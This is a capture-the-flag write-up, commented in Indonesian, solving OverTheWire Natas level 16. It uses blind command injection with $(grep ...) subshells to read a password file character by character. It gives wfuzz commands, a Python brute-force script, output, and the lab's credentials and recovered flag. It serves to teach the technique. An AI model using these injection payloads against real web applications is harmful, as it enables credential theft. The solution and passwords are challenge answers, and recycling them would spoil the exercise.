write up ctf by ariafatah
Username: natas16 URL: http://natas16.natas.labs.overthewire.org
grep $(echo a) dictionary.txt
# maka dictionary akan tampil
# dan secara teori fungsi "$(coommand)" adalah subshell
# yang dimana jika saya lakukan cat $(file1.txt) file2.txt
grep $(grep a /etc/natas_webpass/natas17) dictionary.txt
afdadfafas
akan di lakukan grep -i fafadfafa dictionary.txt
$(grep a /etc/natas_webpass/natas17) # showing ==> false
$(grep b /etc/natas_webpass/natas17) # not showing ==> true
$(grep a /etc/natas_webpass/natas17)a
$(grep ^b /etc/natas_webpass/natas17)a
wfuzz -H "Authorization: Basic bmF0YXMxNjpoUGtqS1l2aUxRY3RFVzMzUW11WEw2ZURWZk1XNHNHbw==" -w chars -u 'natas16.natas.labs.overthewire.org/?needle=$(grep ^FUZZ /etc/natas_webpass/natas17)a&submit=Search'
# output all
| grep -v 24202 # grep output
| grep -v 24202 | tr -d "L" # hapus karakter L karena tiba tiba ada karakter L
| grep -v 24202 | tr -d "L" | tr -d "\n" # hapus nweline
$(grep ^FUZZ /etc/natas_webpass/natas17)
# 000000031: 200 28 79 W 1105 Ch "E"
$(grep ^EFUZZ /etc/natas_webpass/natas17)
# 000000017: 200 28 79 W 1105 Ch "q"
# dan seterusnya
# EqjHJbo7LF
# EqjHJbo7LFNb8vw
# EqjHJbo7LFNb8vwhHb9s75
# EqjHJbo7LFNb8vwhHb9s75hokh5TF0OC
# dan ternyata sudah uruf 30+ yang berarti sudah ketemu passwordnya
wfuzz -H "Authorization: Basic bmF0YXMxNjpoUGtqS1l2aUxRY3RFVzMzUW11WEw2ZURWZk1XNHNHbw==" -w chars -u 'natas16.natas.labs.overthewire.org/?needle=$(grep ^EqjHJbo7LFNb8vwhHb9s75hokh5TF0OFUZZ /etc/natas_webpass/natas17)a&submit=Search' | grep -v 24202
# EqjHJbo7LFNb8vwhHb9s75hokh5TF0OC
import requests
from string import ascii_letters, digits
url = "http://natas16.natas.labs.overthewire.org"
username = "natas16"
password = "hPkjKYviLQctEW33QmuXL6eDVfMW4sGo"
def brute_force_chars():
charset = ascii_letters + digits
found_password = ""
while True:
for char in charset:
test_password = found_password + char
payload = f"$(grep ^{test_password} /etc/natas_webpass/natas17)a"
response = requests.get(
url,
auth=(username, password),
params={"needle": payload, "submit": "Search"}
)
if "African" not in response.text:
found_password += char
print(f"[+] Password so far: {found_password}")
break
else:
print("[+] Password found:", found_password)
return
if __name__ == "__main__":
brute_force_chars()
python3 overthewire/natas/solve/level16.py
[+] Password so far: E
[+] Password so far: Eq
[+] Password so far: Eqj
[+] Password so far: EqjH
......
[+] Password so far: EqjHJbo7LFNb8vwhHb9s75hokh5TF0OC
cat pass
ariafatah
grep -i $(grep a pass) dictionary # not show because in pass have char a
grep -i $(grep b pass) dictionary # not showing because not have b in chat but stuck loading
^C
grep -i $(grep b pass)a dictionary | head # solusinya menambahkan string lagi di akhir
# African
# Africans
# fungsi string akhir itu biar ketika kita tidak menemukan huruf b pada pass dan ketika dia melakukan pengecekan
# kosong dari dictionary maka seharusnya akan menambahkan huruf a gitu
# jadi nanti hasilnya bakal grep -i a dictionary
# dan bukan grep -i dictionary
# ya intinya fungsinya subshell akan dijalankan terlebih dahulu
# setelah itu hasil dari subshell akan dibaca oleh cat lalu, akan melanjutkan comman selanjutnya
grep -i $(grep ^ariafatah pass)a dictionary | head # true
grep -i $(grep ^aria pass)a dictionary | head # true
grep -i $(grep ^fatah pass)a dictionary | head # false
# African
# Africans
# sebenerya ada tamabahn option biar lebih spesifik untuk regexnya
grep -E ^a.*$
grep -i $(grep -E ^aria.*$ pass)a dictionary | head
grep -i $(grep -E ^ariafatah.*$ pass)a dictionary | head
grep -i $(grep -E ^ariafataha.*$ pass)a dictionary | head
# African
# Africans
## namun hasilnya akan tetap sama aja sih sebenernya
EqjHJbo7LFNb8vwhHb9s75hokh5TF0OC